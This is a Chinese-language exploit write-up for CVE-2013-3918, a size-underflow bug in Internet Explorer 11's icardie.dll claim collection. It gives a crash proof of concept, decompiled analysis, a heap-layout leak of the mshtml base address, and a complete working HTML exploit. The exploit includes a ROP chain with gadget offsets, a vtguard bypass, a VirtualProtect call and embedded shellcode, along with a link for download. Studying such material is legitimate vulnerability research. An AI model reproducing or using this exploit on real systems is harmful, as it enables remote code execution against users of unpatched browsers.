1. 漏洞分析

首先WinDbg附加IE进程访问POC页面

<html>
    <body>
        <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='ICARD'></object>
        <script>
            var b = ICARD.RequiredClaims;
            b.add("a");
            b.remove(0);
            b.remove(0);
            b.remove(0);
        </script>
    </body>
</html>

访问后造成Crash,这是由于访问了不可访问的内存 image_1b9o1mfmul5q1q4i1c2c1m497ba9.png-18.2kB

根据栈回溯可以知道是在CCardSpaceClaimCollection::remove函数中触发的异常 image_1b9o1resa19nl16rneahuam1og0m.png-25.7kB

接下来用IDA分析icardie.dll中的CCardSpaceClaimCollection::remove函数

signed int __stdcall CCardSpaceClaimCollection::remove(CCardSpaceClaimCollection *this, struct tagVARIANT *var_index)
{
  signed int v2; // edi@1
  int v3; // eax@3
  CCardSpaceClaimCollection *this_object; // ebx@5
  tagSAFEARRAY *v5; // eax@7
  unsigned __int32 index; // esi@10
  int v8; // eax@18
  int this_object_size; // edx@23
  const struct _GUID *v10; // [sp+0h] [bp-18h]@0
  const struct _GUID *v11; // [sp+4h] [bp-14h]@0
  SAFEARRAYBOUND rgsabound; // [sp+Ch] [bp-Ch]@5
  char *ppvData; // [sp+14h] [bp-4h]@1
  SAFEARRAY *psa; // [sp+20h] [bp+8h]@7

  ...
  if ( var_index->vt != VT_I4 )
  {
    ...
  }
  index = var_index->cyVal.Lo;
  if ( index > this_object->size )
  {
LABEL_11:
    v2 = -2147467259;
    goto LABEL_12;
  }
LABEL_23:
  SysFreeString(*&ppvData[4 * index]);
  this_object_size = this_object->size;
  if ( index != this_object_size - 1 )
    memcpy(&ppvData[4 * index], &ppvData[4 * index + 4], 4 * (this_object_size - index));
  *&ppvData[4 * --this_object->size] = 0;
LABEL_12:
  if ( ppvData )
    SafeArrayUnaccessData(psa);
  if ( v2 < 0 )
    return ReportHR(&IID_ICardSpaceClaimCollection, v10, v11);
  return v2;
}

可以看到当调用remove函数时的参数为整数时,index的值就是传进来的索引值,重点看28行之后的代码,当将要删除的索引值不等于当前的集合大小减1时,就会执行memcpy,并把集合大小减1,当POC中的第二个remove执行后,集合的大小变成了-10xffffffff,这时再执行remove(0),就会执行memcpy(&ppvData[0], &ppvData[4], 4 * 0xffffffff),这样就导致了非法内存访问。

2. 漏洞利用

利用方式exp-sky大牛在https://github.com/exp-sky/XKungFoo-2013/blob/master/IE%200day%20Analysis%20And%20Exploit.pdf这个pdf中已经讲得很清楚了,使用的exp是http://boo0m.github.io/2016/12/20/%C2%96Geekpwn-2016-CVE-2013-3918-Exploit/

add_item(rc_obj0,"A",20);
add_item(rc_obj1,"B",20);
add_item(rc_obj2,"C",20);

var mysvg = document.getElementById("svg_my");  
var filter = document.createElementNS("http://www.w3.org/2000/svg","filter");
mysvg.appendChild(filter);

add_item(rc_obj3,"D",20);
add_item(rc_obj4,"E",20);
add_item(rc_obj5,"F",20);

rc_obj5.remove(0);

rc_obj5.remove(-88);
rc_obj5.remove(-88);

for(var i=0; i< 20;i++)
    rc_obj5.remove(-110);

这一步如果堆布局成功,那么rc_obj2的第一个元素指向的就是filter元素的vftable

0:007> ln 718a7208
(718a7208)   MSHTML!CSVGFilterElement::`vftable'   |  (718a5930)   MSHTML!CSVGFilterElement::s_apHdlDescs
Exact matches:
    MSHTML!CSVGFilterElement::`vftable' = <no type information>
0:007> ? poi(718a7208) - mshtml
Evaluate expression: 6584541 = 006478dd

因此取rc_obj2第一个元素的值再减去0x006478dd就可以泄漏出mshtml模块的基地址

var function_addr = rc_obj2.item(0).charCodeAt(1)*65536+rc_obj2.item(0).charCodeAt(0);
var mshtml_addr = function_addr-0x006478dd;

这里选用svg filter是因为它的大小刚好为0x50 image_1b9pqottn1k1l1gjf1dhd10d01o6m9.png-26.6kB

之后构造ROP,在执行完

add_item(rc_obj3, payload ,20);
rc_obj5.remove(-108);
rc_obj5.remove(-108);   

for(var i=0;i<20;i++)   
    rc_obj5.remove(-132);

这一步之后会把filtervftable覆盖成ROP + Shellcode String的地址,并且eaxString地址,在之后执行filter.appendChild(table)时就会从这行payload += getDwordStr(mshtml_addr+0x00028cc4); //xchg eax,esp#retn的gadget开始执行,另外在调用虚表函数指针时会有虚表保护,检测vtguard通过后再进行调用,这个位置是在vftable+0x48 image_1b9ps0o9m12heeprc761o0253713.png-163.1kB

最后就是ROP执行VirtualProtect把栈设为可执行再执行shellcode image_1b9ps9tcd17c0163kqfs15os1bdt1g.png-70.7kB

3. 完整EXP

IE版本为11.0.9600.16428,只是修改了http://boo0m.github.io/2016/12/20/%C2%96Geekpwn-2016-CVE-2013-3918-Exploit/一处地方

<html>
    <body>
        <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='ICARD'></object>
        <script>

            function sleep(d){
                for(var t = Date.now();Date.now() - t <= d;);
            }
 
            function create_object(i){   
                var obj = document.createElement("object");   
                obj.classid = 'clsid:19916E01-B44E-4E31-94A4-4696DF46157B';   
                obj.id = 'I'+i;
                document.body.appendChild(obj); 
                return  document['I'+i].RequiredClaims; 
            }

            function add_item(obj_icard, str, size){
                for(var i = 0; i < size; i++)
                    obj_icard.add(str+i);
            }

            function remove_item(obj_icard, size){
                for(var i = 0; i < size; i++)
                     obj_icard.remove(0);
            }

            function getFiller(n) {
                 return new Array(n+1).join("a");
            }

            function getDwordStr(val) {
                return String.fromCharCode(val % 0x10000, val / 0x10000);
            }


    function onLoad(){
           //alert("mshtml");

            CollectGarbage();
            rc_obj0 = create_object(0);
            rc_obj1 = create_object(1);
            rc_obj2 = create_object(2);
          
            rc_obj3 = create_object(3);
            rc_obj4 = create_object(4);
            rc_obj5 = create_object(5);

            add_item(rc_obj0,"A",20);
            add_item(rc_obj1,"B",20);
            add_item(rc_obj2,"C",20);

            //alert("create document");
            var mysvg = document.getElementById("svg_my");  
            var filter = document.createElementNS("http://www.w3.org/2000/svg","filter");
            mysvg.appendChild(filter);

            //alert("add_item");
            add_item(rc_obj3,"D",20);
            add_item(rc_obj4,"E",20);
            add_item(rc_obj5,"F",20);
			
            //alert("end_add,start remove");
            remove_item(rc_obj0,20);
            remove_item(rc_obj1,20);
            remove_item(rc_obj5,20);

            rc_obj5.remove(0);

            rc_obj5.remove(-88);
            //alert(11);
            rc_obj5.remove(-88);
            
            for(var i=0; i< 20;i++)
                rc_obj5.remove(-110);

            var function_addr = rc_obj2.item(0).charCodeAt(1)*65536+rc_obj2.item(0).charCodeAt(0);  
            //alert('0x'+(function_addr-0x006478dd).toString(16)); 

            var mshtml_addr = function_addr-0x006478dd;
            //alert(mshtml_addr.toString(16));

            //alert("ROP");
            remove_item(rc_obj3,20);

            vtguard = mshtml_addr + 0x00749c41;
            
            var payload = "";

            payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn 

            for(var i = 0; i < 7; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn 

            for(var i = 0; i < 7; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn 
            payload += getDwordStr(0x0c0c0c0c);
            payload += getDwordStr(vtguard);
            // 17
            for(var i = 0; i < 5; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn 

            for(var i = 0; i < 7; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            payload += getDwordStr(mshtml_addr+0x00348dea); //add esp,1c # retn 

            for(var i = 0; i < 3; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            payload += getDwordStr(mshtml_addr+0x00028cc4); //xchg eax,esp#retn

            //52
            for(var i = 0; i < 3; ++i)
                payload += getDwordStr(0x0c0c0c0c);

            //virtualprotect ROP START
           
            payload += getDwordStr(mshtml_addr+0x00050251);  //POP EBP # RETN 
            payload += getDwordStr(mshtml_addr+0x00050251);  //skip 4 bytes 
            payload += getDwordStr(mshtml_addr+0x00050564);  //POP EBX # RETN
            payload += getDwordStr(0x77777979);              //0x77777979-> ebx
            payload += getDwordStr(mshtml_addr+0x0009508b);  //POP EAX # RETN
            payload += getDwordStr(0x88888888);              //0x88888888-> eax
            payload += getDwordStr(mshtml_addr+0x006aaf77);  //add ebx,eax #retn
            payload += getDwordStr(mshtml_addr+0x0009508b);  //POP EAX # RETN
            payload += getDwordStr(0xFFFFFFC0);  //EAX
            payload += getDwordStr(mshtml_addr+0x0020fa4d);  //neg eax#retn
            payload += getDwordStr(mshtml_addr+0x0040b131);  //mov edx,eax #retn
            payload += getDwordStr(mshtml_addr+0x00015798);  //POP ECX # RETN
            payload += getDwordStr(mshtml_addr+0x00edb001);              // &Writable location
            payload += getDwordStr(mshtml_addr+0x00081aa8);  //POP EDI # RETN
            payload += getDwordStr(mshtml_addr+0x00081aa9);  //RETN 
            payload += getDwordStr(mshtml_addr+0x00001430);  //POP ESI # RETN
            payload += getDwordStr(mshtml_addr+0x0006c1df);  //JMP [EAX]
            payload += getDwordStr(mshtml_addr+0x0009508b);  //POP EAX # RETN
            payload += getDwordStr(mshtml_addr+0x00ed5434);  //ptr to &VirtualProtect() 
            payload += getDwordStr(mshtml_addr+0x00095486);  //PUSHAD # RETN 
            payload += getDwordStr(mshtml_addr+0x00130fdb);  //ptr to 'jmp esp'

            payload += getDwordStr(0x90909090);  //nop # jmp 120

            for(var i = 0; i < 26; ++i)
                payload += getDwordStr(0x90909090);

            payload += getDwordStr(0x909006eb);  //jmp 06

            payload += getDwordStr(mshtml_addr+0x00883196);  // call  dword ptr [eax+90h]

            //shellcode
            payload += getDwordStr(0xf63154eb);
            payload += getDwordStr(0x30768b64);
            payload += getDwordStr(0x8b0c768b);
            payload += getDwordStr(0x6e8b1c76);
            payload += getDwordStr(0x8b368b08);
            payload += getDwordStr(0x5c8b3c5d);
            payload += getDwordStr(0xdb85781d);
            payload += getDwordStr(0xeb01f074);
            payload += getDwordStr(0x67184b8b);
            payload += getDwordStr(0x7b8be8e3);
            payload += getDwordStr(0x8bef0120);
            payload += getDwordStr(0x01fc8f7c);
            payload += getDwordStr(0x99c031ef);
            payload += getDwordStr(0xcac11702);
            payload += getDwordStr(0xf875ae04);
            payload += getDwordStr(0x0424543b);
            payload += getDwordStr(0xca75e4e0);
            payload += getDwordStr(0x0124538b);
            payload += getDwordStr(0x14b70fea);
            payload += getDwordStr(0x1c7b8b4a);
            payload += getDwordStr(0x2c03ef01);
            payload += getDwordStr(0xe768c397);
            payload += getDwordStr(0xe869ccc4);
            payload += getDwordStr(0xffffffa2);
            payload += getDwordStr(0x61636850);
            payload += getDwordStr(0xd48b636c);
            payload += getDwordStr(0xff525040);
            payload += getDwordStr(0xa67768d5);
            payload += getDwordStr(0x8be82a60);
            payload += getDwordStr(0x50ffffff);
            payload += getDwordStr(0x9090d5ff);

            add_item(rc_obj3, payload ,20);
            rc_obj5.remove(-108);
            rc_obj5.remove(-108);   
            
            for(var i=0;i<20;i++)   
                rc_obj5.remove(-132);

            var table = document.createElement('table');
            filter.appendChild(table);
        }

        window.onload = onLoad;  
        </script>
        <svg id="svg_my" style="border:1px solid #000;width:200px;height:200px" version="1.1" xmlns="http://www.w3.org/2000/svg">  
          
        </svg>  
    </body>
</html>

完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie11-cve-2013-3918-exp.html

4. 参考

  1. https://github.com/exp-sky/XKungFoo-2013/blob/master/IE%200day%20Analysis%20And%20Exploit.pdf
  2. http://boo0m.github.io/2016/12/20/%C2%96Geekpwn-2016-CVE-2013-3918-Exploit/